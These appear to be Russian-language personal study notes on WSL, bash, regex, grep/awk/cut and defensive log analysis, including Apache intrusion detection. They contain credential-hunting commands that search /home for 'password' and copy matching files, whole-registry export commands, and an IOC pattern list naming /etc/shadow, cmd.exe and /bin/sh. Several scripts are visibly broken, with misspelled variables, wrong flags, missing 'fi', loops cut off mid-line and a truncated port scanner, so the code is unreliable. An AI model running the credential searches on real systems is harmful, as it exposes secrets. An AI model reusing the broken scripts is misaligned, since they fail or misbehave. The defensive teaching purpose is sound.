wsl
0. Установка WSL (всё одной командой) wsl —install 1. WSL 1 или WSL 2? wsl —set-default-version 2 | | WSL 1 | WSL 2 | |--------------------|---------------------------|-------| | Ядро | Эмуляция | Реальное Linux-ядро | Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах | Совместимость | Ограниченная | Почти 100% | | Поддержка Docker | x | y | GUI-приложения | x | y (в Windows 11) 2. Работа с файлами и системами Доступ к Windows-дискам: /mnt/c/Users/... Поддержка Git, Python, Node, npm, pip, apt 3. Можно запускать команды Windows внутри Linux и наоборот: notepad.exe test.txt 4. Настройка терминала Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами. 5. Обновление WSL и Linux-дистрибуции wsl —update wsl —shutdown 6. Внутри Ubuntu: sudo apt update && sudo apt upgrade -y 7. Установка других дистрибутивов WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие: wsl —list —online wsl —install —distribution Debian 8. Поддержка GUI и Docker В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg). Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM. 9. Дополнительные фичи .wslconfig для настройки ресурсов (CPU, RAM, swap) Автоматический mount директорий Работа с systemd, crontab, background-сервисами (в новых версиях)
Основы:
Командная строка - это общий термин, относящимся к средствам, передающим команды в интерактивную систему компьютера. Создать директорию: mkdir -p /tmp/fff Тип файла: type -t if type -t pwd type -t ls Посмотреть какие команды встроены в интерпретатор: compgen -k compgen -c compgen -b Стандартный ввод / вывод / ошибки 0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура). 1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал). 2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал). Перенаправление stdout: Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан. ls > output.txt Оператор >> добавляет вывод в конец файла, не перезаписывая его. echo "Hello" >> output.txt Чтобы перенаправить поток ошибок в файл, используется 2>. ls /nonexistent 2> errors.txt 2>> добавляет ошибки в конец файла: ls /nonexistent 2>> errors.txt Игнорирование ошибок: command 2> /dev/null Запись вывода и ошибок в один файл: command > output.txt 2>&1 Раздельная запись stdout и stderr: command > output.txt 2> errors.txt Отправка всех данных в «черную дыру»: command > /dev/null 2>&1 Сделать все одной строкой: prog < data.in > result.out 2> errr.msg Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы) prog < data.in > result.out 2>&1 Выполнение команд в фоновом режиме: ping 192.168.10.56 > ping.log & ping 192.168.10.56 &> ping.log & jobs fg 1 crtrl+z Скрипты #!/bin/bash - шабанг, первая строка любого скрипта на баш #!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша bash myscript chmod 755 myscript ./myscript
Основы работы:
echo "Hello world" printf "Hello world\n" Переменные: MYVAR=textmyvar echo $MYVAR Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов: MYVAR='here is a longer set of worlds' OTHVAR="either double or single quotes will work" Двойные кавычки позволит выполнять другие элементы внутри строки: FIRSTVAR=beginning SECONDVAR="this is just the $FIRSTVAR" echo $SECONDVAR echo ${SECONDVAR} !!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $, все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет. Сохранить вывод, полученный командной оболочки, с помощью символа $(): CMDOUT=$(pwd) Позиционные параметры: $# - возвращает общие кол-во параметров $0 - имя скрипта $1 - первый параметр $2 - второй параметр $3 - третий параметр #!/bin/bash #echoparms.sh echo $# echo $0 echo $1 echo $2 echo $3 Условия: Успешное выполнение скрипта возвращает 0. Возвращаемое значение 0 считается success или true. Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?: echo $? Пример условий if: if cmd then some cmds else other cmds fi Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls: if cd /tmp then echo "her eis what is in /tmp:" ls -l fi Пример конвейера if: if ls | grep pdf then echo "found more pdf" else echo "no found pdf" fi Но есть нюанс если использовать с wc в конвейере: ls | grep pdf | wc Будет всегда возращено 0 Команда test и [, проверка атрибутов файлов или сравнения значений. Проверка файлов и каталогов: -d - проверка существования каталога -у - проверка существования файла -r - проверка существования файла и доступен ли он для чтения -w - проверка существования файла и доступен ли файл для записи -x - проверка существования файла и можно ли файл выполнить Проверка существования файла: if [[ -e $FILENAME ]] then echo $FILENAME exists fi Сравнение файлов или переменных: -eq - тест на равенство -gt - проверка, больше ли одно число, чем другое -lt - проверка, меньше ли одно число, чем другое Проверка меньше ли $VAL чем $MIN if [[ $VAL -lt $MIN ]] then echo "value is to small" fi !!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым !!! Так что рекомендуется использовать -eq, -gt, -lt !!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( )) !!! Оператор $ не требуется в этой конструкции if (( VAL < 12 )) then echo "value $VAL is to small" fi Последовательное выполнение команд с использование оператора ; Пример: cd $DIR; ls Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда: cd /etc/ && ls /etc && ls /etc/ | wc Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда. Команды [[ можно выполнять без конструкции if [[ -d $DIR ]] && ls "$DIR" Аналог вот такой записи: if [[ -d $DIR ]] then ls "$DIR" fi Вот еще примеры: [[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit [[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; } Циклы while ( пока i меньше 1000, выполняем цикл) i=0 while (( i < 1000)) do echo $i let i++ done Цикл while выполняет команды как часть своего условия: while ls | grep -q pdf do echo -n 'there is a file with pdf in lts name here:' pwd cd .. done Циклы for: for ((i=0; i < 100; i++)) do echo $i done Еще for: ./args.sh bash is fun for ARG do echo here is an argument: $ARG done Еще far список: for VAL in 20 3 dog peach 7 vanilla do echo $VAL done Еще список можно генерировать используя другие программы, пример: for VAL in $(ls | grep pdf) {0..5} do echo $VAL done Функции и свои функции: function myfun () { # это тело функции } Выполнение своей функции: myfun Шаблоны подстановки и перечисление / wildcarding Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия. Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов. Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку, если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку. Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc. Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций. Шаблоном для имен скрытых файлов является .* (точка и звездочка). Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка". Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса. В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов. Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон. Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского. echo .[bcd]* Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки. Например, [!abc] — множество любых символов, кроме a, b или c. Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash. Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках echo .bash{rc,_profile} точка . - любой один символ ? - любой один символ * - любое кол-во символов а* - a, ab, abc и aecjejich ^ - начало строки $ - конец строки ^а - Любое «а», находящееся в начале строки *а$ - Любое «а», находящееся в конце строки а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с» [] - диапазон [^a] - прикол в таких скобках с "^" все что угодно только не "a" [^0-9] [^[:alnun:]] [bcf]at - bat, cat или fat [a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д. [A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д. 1[3-5]7 - 137,147 и 157 [0-9] [[:digit:]] \d \D [a-z] [A-Z] [a-zA-Z0-9] [[:alnun:]] \w \W [[:space:]] \s \S [A-Z] - большие буквы [0-9] - цифры [a-z] - мелкие буквы [A-Za-z] www\.[a-z]*\.com [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ d{n,m} - квантификатор {} - последовательность touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt grep -E '[0-9]{1,3}' \tHello - Символ табуляции, предшествующий слову hello \[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра \n - новая строка \r - символ возврата Мата символ * Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление регулярных выражений отличается от glob-подстановок: ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?) ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками) ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону) b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be») b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым) b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке) b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга) .* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".") foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.») Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.
Регулярные выражения:
grep -c - вывести кол-во строк, соответствующего шаблону -E - включить расширенное регулярное выражение -f - читать шаблон поиска, находящийся в предоставленном файле -i - игнорировать регистр символов -l - вывести только имя файла и путь, по которому был найден шаблон -n - вывести номер строки файла, в которой был найден шаблон -P - включить механизм регулярных выражений Perl -R, -r - выполнить рекурсивный поиск подкаталогов Пример: grep -R -i 'password' /home egrep это grep -E Пример текса file.txt для работы с grep: 1 Two roads diverged in a yellow wood, 2 And sorry I cloud not travel both 3 And be one traveler, long I stood 4 And looked down one as far as I could 5 To where it bent in the undergrowth; 6 7 Excerpt from The Road Not Taken by Robert Frost 8 User: XTjon 9 XWING model 7 10 an an an Метасимвол . В регулярных выражения точка (.), представляет собой один символ подстановки grep 'T.o' file.txt Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.) Метасимвол ? В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, символ сопоставляется один раз, а дальше игнорируется. egrep 'T.?o' file.txt Метасимвол * В регулярных выражениях звездочка (*) - это специальный символ, который соответствует предыдущему элементу неограниченное кол-во раз. grep 'T.*o' file.txt Метасимвол + Метасимвол плюс (+) работает так же, как и *, за исключением того, что предыдущий ему элемент должен встретиться хотя бы однажды. egrep 'T.+o' file.txt Группирование Для группирования символов можно использовать скобки. egrep 'And be one (stranger|traveler), long I stood' file.txt Квадратные скобки и классы символов [abc] - соответствует только символу a, или b, или c [1-5] - соответствует цифрам от 1 до 5 [a-zA-Z] - соответствует любым символа от a до z [0-9+-*/] - соответствует числам или любым четырем указанным математическим символам [0-9a-fA-F] - соответствует шестнадцатеричному символу \s - пробельный символ \S - не пробельный символ \d - цифровой символ \D - не цифровой символ \w - слово \W - не слово \x - шестнадцатеричное число (например, 0x5F) !!! Обратите внимания эти сокращения работаю только с опцией -P, Perl grep -P '\d' file.txt [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ grep 'X[[:upper:][:digit:]]' file.txt Обратные ссылки: tags.txt Commmand line isgreat! Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*\1>' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info
cut
cut - используется для извлечения частей файла -c - символ для извлечения -d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции. -f - поля для извлечения Пример: cutefile.txt 12/05/2025 10.33.66.3 test.html 12/05/2025 17.14.13.3 loging.html cut -d' ' -f2 cutefile.txt
file
file - используется для идентификации типа файла -f - читать список файлов для анализа из данного файла -k - не останавливается на первом совпадении, перечислить все -z - просмотреть сжатые файлы Пример: file filename.un
head
head - отобразит несколько первых строк или бит, по умолчанию 10 -n - кол-во строк -c - количество байтов
reg
reg - используется в winpws, для работы с реестром add - добавить запись в реестор export - копировать указанные записи реестра в файл query - возвратить список подразделов ниже указанного пути Пример: reg query HKEY_LOCAL_MACHINE
wevtutil
wevtutil - просмотр системных журналов в windows el - перечислить доступные журналы qe - запросить события журнала Общие команды: /c - максимальное событие для чтения /f - форматирование вывода в виде текста или XML /rd - если установлено в true то сначала прочитать свежие события Примеры wevtutil el wevtutil qe System //c:1 //rd:true wevtutil qe System /c:1 /rd:true
Собираем файлы журнала Linux
tar -czf ${HOSTNAME}_logs.tar.gz /var/log Параметры: -c - create - создание для создания архивного файла -z - zip - архивирование -f - file - указание имени файла ${HOSTNAME} - переменная баш, текущие имя хоста Логи: /var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2 /var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности /var/log/kern.log - журнал ядра /var/log/messages - общая не критическая системная информация /var/log/syslog - общие системные журналы конфиги: /etc/syslog.conf /etc/rsyslog.conf
Собираем файлы журналов Windows
Для скрипта на баш используется git bash. Пример скрипта: #!/bin/bash # # winlogs.sh # Описание: # Собираем логи windows # Использование: # winlogs.sh [-z] # -z заархивировать вывод # TGZ=0 if (( $# > 0 )) then if [[ ${1:0:2} == '-z']] then TGZ=1 shift f1 SYSMAN=$(hostname) LOGDIR=${1:-/tmp/${SYSMAN}_logs} mkdir -p $LOGDIR cd ${LOGDIR} || exit -2 wevtutil el | while read ALOG do ALOG="${ALOG%$'\r'}" echo "${ALOG}:" SAFNAM="${ALOG// /_}" SAFNAM="${SAFNAM//\//-}" wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx" done if (( TGZ == 1 )) then tar -czvf ${SYSNAM}_logs.tgz *.evtx fi
Сбор информации о системе
linux bash windows git bash Что? uname -a uname -a Показать информацию о версии ОС cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию ifconfig ipconfig Вывести информацию о сетевом интерфейсе route route print Показать таблицу маршрутизации arp -a arp -a Вывести таблицу ARP ( протокол определения адреса) netstat -a netstat -a Отобразить сетевые подключения mount net share Вывести информацию о файловых системах ps -e tasklist Отобразить запущенные процессы файл cmds.txt # Linux Command | MSWin Bash | XML tag | Purpose #-----------------+-------------+-----------+------------------ uname -a | uname -a | uname | O.S. ver cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo ifocnfig | ipconfig | interface | Network info ip -a | ipconfig | interface | Network info route | route print | nroute | routing table arp -a | arp -a | narp | arp table netstat -a | netstat -a | netstat | network connection ss -a | netstat -a | netstat | network connection mount | net share | diskinfo | mounter disk ps -e | task list | processes | running processes
Сценарий определения типа OS
getlocal.sh #!/bin/bash # # Описание: # Собираем основную информацию о системе и сбрасываем в файл # Использование: # getlocal.sh < cmds.txt # cmds < этот файл со списком команд для выполнения # # SepCmds - отделение команд от строки ввода function SepCmds() { LCMD=${ALINE%%|*} REST=${ALINE#*|} WCMD=${REST%%|*} REST=${RST#*|} TAG=${REST%%|*} if [[ $OSTYPE == "WsWin" ]] then CMD="$WCMD" else CMD="$LCMD" fi } function DumpInfo() { printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE" printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')" readarray CMDS for ALINE in "${CMDS[@]}" do # игнорировать комментарии if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi SepCmds if [[ ${CMD:0:3} == N/A ]] then continue else printf "<%s>\n" $TAG $CMD printf "%s>\n" $TAG fi done printf "\n" } OSTYPE=$(./osdetect.sh) HOSTNM=$(hostname) TMPFILE="${hostname}.info" # сбор информации DumpInfo > $TMPFILE 2>&1
Сбор данных о реестре Windows
Экспорт всего реестра: regedit //E ${HOSTNAME}_reg.bak Экспорт раздела: reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak
Поиск файлов в системе:
find grep find /home -name '*password*' find /home -name '*password*' 2>/dev/null Поиск скрытых файлов в linux: find /home -name '.*' Поиск скрытых файлов в windows: dir c:\ /S /A:H Поиск и запуск команды: find /c -exec attrib '{}' \; | egrep '^.{4}H.*' Найти и показать путь к файлу: find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22- Поиск по размеру файла: find /home -size +5G Чтобы определить самые большие файлы в системе: find /type f -exec ls -s '{}' \; | sort -n -r | head -5 Предположим, что вы только что выполнили следующую команду: find / -type f -exec ls -s '{}' \; Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!: !! | sort -n -r | head -5 Можно найти большой файл не используя find: ls / -R -s | sort -n -r | head -5 Поиск по времени: Менее 5 мин: find /home -nmin -5 Менее 24 часов: find /home -mtime -1 Менее 48 часов: find /home -mtime +2 Доступ к файлу менее 24 часов find /home -atime -1 Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./": find /home -type f -atime -1 -exec cp '{}' ./ \; Поиск контента: Найти строку 'password': grep -i -r /home -e 'password' Комбинирование команды find и grep: find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \;
Поиск по типу файла:
file title.png Сценарий typesearch.sh #!/bin/bash # Описание: # Поиск в файловой системе файлов указанного типа. # Выводим путь, когда найдем # Использование: # typesearch.sh [-c dir] [-i] [-R|r]# -c Копировать найденные файлы в каталог # -i Игнорировать регистр # -R|r Рекурсивный поиск подкаталогов # Шаблон типа файла для поиска # Путь для начала поиска DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию while getopts 'c:irR' opt; do case "${opt}" in c) # копировать найденные файлы в указанный каталог COPY=YES DISTDIR="$OPTARG" ;; i) # игнорировать регистр при поиске CASEMATCH='-1' ;; [Rr]) # рекурсивно unset DEEPPORNOT;; *) # неизвестный/неподдерживаемый вариант # при получении ошибки mesg от gretops просто выйти exit 2;; esac done shift $((OPTIND -1)) PATTERN=${1;-PDF document} STARTDIR=${2:-.} # по умолчанию начать здесь find $STARTDIR $DEEPORNOT -type f | while read FN do file $FN | egrep -q $CASEMATCH "$PATTRERN" if (( $? ==0 )) # найден один then echo $FN if [[ $COPY ]] then cp -p $FN $DESTDIR fi fi done
Поиск по хеш-значению
hashsearch.sh #!/bin/bash # Описание: # В указанном каталога выполняем рекурсивный поиск # файла по заданному SHA-1 # Использование: # hashsearch.sh# hash - значение хеша SHA-1 разыскиваемого файла # directory - каталог для поиска HASH=$1 DIR=${2:-.} # cmd, по умолчанию это сдесь # конвертируем путь в абсолютный function mkabspath() { if [[ $1 == /* ]] then ABS=$1 else ABS="$PWD/$1" fi } find $DIR -type f | while read fn do THISONE=$(sha1sum "$fn") THISONE=${THISONE%% *} if [[ $THISONE == $HASH ]] then mkabspath "$fn" echo $ABS fi done
Обработка данных:
sed tail tr файл awkuser.txt: Mike Jones John Smith Kathy Jones Jane Kennedy Tim Scott awk - фактически комбайн для обработки текста -f - читать указанный файл $0 - вся строка $1 - первое слово $2 - второе слово $N - и т.д. Пример: awk '$2 == "jones" {print $0}' awkusers.txt файл username.txt: 1,jdoe 2,puser 3,jsmith файл accesstime.txt: 0745,file1.txt,1 0830,file3.txt,2 0830,file22.txt,3 join - объединяет строки из двух фалов с общими полями -j - использовать указанный номер поля. Поля начинаются с 1 -t - символ, который будет использоваться в качестве разделителя --header - использовать в качестве заголовка Пример: join -1 3 -2 1 -t, accesstime.txt username.txt файл ips.txt ip,OS 10.0.4.2,Windows 8 10.0.4.35,Ubuntu 16 10.0.4.107,macOS 10.0.4.145,macOS sed - редактирование и замена текста в потоке файлов Пример: sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt tail - вывод последних строк файла -f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления. -n - вывести указанное кол-во строк Пример: tail -n 1 ips.txt tr - преобразование одного символа в другой или отображения замещающего символа. -d - удалить указанные знаки из входного потока -s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром Пример: tr '\\:' '/|' < infile.txt > outfile.txt Пример файла csvex.txt "name","username","phone","password hash" "john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7 "Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf "Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w "john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds "Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3 cut - используется для извлечения из входного файла или потока, полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.) cut - показать содержимое вырезав символы cut -c 1,4,7 name.txt - показать содержимое вырезав символы cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':' Примеры: cut -d',' -f1 csvex.txt cut -d',' -f1 csvex.txt | tr -d '"' cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2 awk -F "," '{print $4}' csvex.txt grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2 grep -o '.*<\/firstName>' book.xml grep -Pzo '(?s) .*?<\/author>' book.xml grep -Po ' .?<\/firstName>' book.xml | sed 's/<[^>]*>//g' grep -o '"firstName": ".*"' book.json grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"' jq - это мощный легкий и JSON-анализатор jq '.title' book.json jq '.authors[].firstName' book.json Агрегирование данных: find /data -type f -exec grep '{}' -e 'ProductionWebServer' \; -exec cat '{}' >> ProductionWebServerAgg.txt \; join -t, -2 2 ips.txt user.txt Ссылка: https://rapidcyberops.com/
Анализ данных:
sort - сортировка текстового файла -r - сортировка по убыванию -f - игнорировать регистр -n - использовать числовой порядок 1, 2, 3 и т.д. -k - сортировать на основе подмножества данных (ключа) в строке -o - записать вывод в указанный файл -u - фильтр уникальности Пример: sort -k 3 file1.txt sort -k 2.5,2.7 file1.txt uniq - отфильтровать повторяющиеся строки -c - вывести, сколько раз повторяется строка -f - перед сравнением проигнорировать указанное кол-во полей -i - игнорировать регистр букв
Ознакомление с журналом доступа к веб серверу Apache2
CLF - Combined Log Format cat access.log 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" Что мы видим: Поле Значение Описание 1 192.168.15.53 ip хоста который запросил страницу у веб сервера 2 - идентификатор протокола RFC 1413 (-, если его нет) 3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет) 4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс) 5 GET / Страница которая была запрошена 6 HTTP/1.1 Версия протокола HTTP 7 200 Код состояния, возвращаемый веб-сервер 8 3380 Размер возвращаемого файла в байтах 9 - Ссылающаяся страница 10 Mozilla/5.0 Браузер Коды: 200 - OK - Хорошо 401 - Unauthorized - Не авторизован \ не предоставляется 404 - Page Not Found - Страница не найдена 500 - Internal Server Error - Внутренняя ошибка сервера 502 - Bad Gateway - Плохой, ошибочный шлюз Ссылки: https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml https://httpd.apache.org/docs/2.4/logs.html cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15 Подсчет количества обращений к данным: cat countem.sh #!/bin/bash - # # Описание: # Подсчет количества экземпляров элемента с помощью bash # Использование: # countem.sh < inputfile declare -A cnt # ассоциативный массив while read id xtra do let cnt[$id]++ done # вывести то, что мы подсчитали # для каждого ключа в ассоциативном массиве в виде (ключ, значение) for id in "${!cnt[@]}" do printf '%d %s\n' "${cnt[$id]}" "$id" done Пример countem.awk: # countem.awk # Описание: # Подсчет количество экземпляров элемента с помощью команды awk # Использование: # countem.awk < inputfile awk '{ cnt[$1]++ } END {for (id in cnt) { printf "%d %s\n", cnt[id], id } }' Оба сценария хорошо будут работать в конвейере: cut -d' ' -f1 logfile | bash countem.sh bash countem.sh < logfile awk '$9 == 404 {print $1}' access.log | bash countem.sh cut -d' ' -f1 access.log | bash countem.sh | sort -rn P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux cut -d' ' -f1 access.log | sort | unic -c | sort -rn cut -d' ' -f1 access.log | sort -urn Суммирование чисел и данных: cat summer.sh #!/bin/bash - # # Описание: # Суммировать итоговое значение поля 2 для каждого уникального поля 1 # Использование: ./summer.sh # Формат ввода:declare -A cnt # ассоциативный массив while read id count do let cnt[$id]+=$count done for id in "${!cnt[@]}" do printf "%-15s %8d\n" "${id}" "${cnt[${id}]}" done Использование: cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn
Скрипт отображение данных в виде гистограммы:
histogram.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./historgram.sh # Формата ввода: label value function pr_bar() { local -i i raw maxraw scaled raw=$1 maxraw=$2 ((scaled=(MAXBAR*raw)/maxraw)) # гарантированный минимальный размер ((raw > 0 && scaled ==0)) && scaled=1 for((i=0; imax )) && max=$val done # масштабировать и вести for labl in "${!RA[@]}" do printf '%-20.20s ' "$labl" pr_bar ${RA[$labl]} $max done Пример: cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh
Скрипт отображение данных в виде гистограммы для старых систем и macos:
histogram_plain.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./histogram_plain # Формата ввода: label value declare -a RA_key RA_val declare -i max ndx max=0 maxbar=50 ndx=0 while read labl val do RA_key[$ndx]=$labl RA_value[$ndx]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val let ndx++ done # масштабировать и вывести for ((j=0; jМониторинг журналов в режиме реального времени:
tail -f /var/log/apache2/access.log tail -f /var/log/apache2/access.log | grep '10.0.0.152' tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404' cd /var/log/apache2/ tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7Обнаружение вторжения с помощью журнала apache2:
cat > ioc.txt << "EOF" \.\./ etc/passwd etc/shadow cmd\.exe /bin/sh /bin/bash EOF ../ -злоумышленник пытается выйти из текущего каталога рабочего каталога /etc/passwd и другие - пытается получить доступ к паролям системы /sh и другое - пытается вызвать программу tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txtСканер портов:
cat > scan.sh << "EOF" #!/bin/bash - # Описание: # Сканирование порта указанного хоста # Использование: # ./scan.shСравнение файлов:
sdiff - сравнивает два файла -a - рассматривать все файлы как текстовые -i - игнорировать регистр -s - удалять общие строки для двух файлов -w - определить максимальное кол-во символов для вывода в троке sdiff -s file1.txt file2.txtcurl:
curl -A - для отправки на сервер указать строку агента пользователя HTTP -d - данные для отправки с запросом HTTP POST -G - использовать для отправки данных запрос HTTP GET, а не POST -I - получить только заголовок протокола (HTTP, FTP) -L - следовать за пере направлениями -s - не показывать индикатор выполнения или сообщения об ошибках curl https://google.com Проверка сокращенной ссылки: curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'xxd :
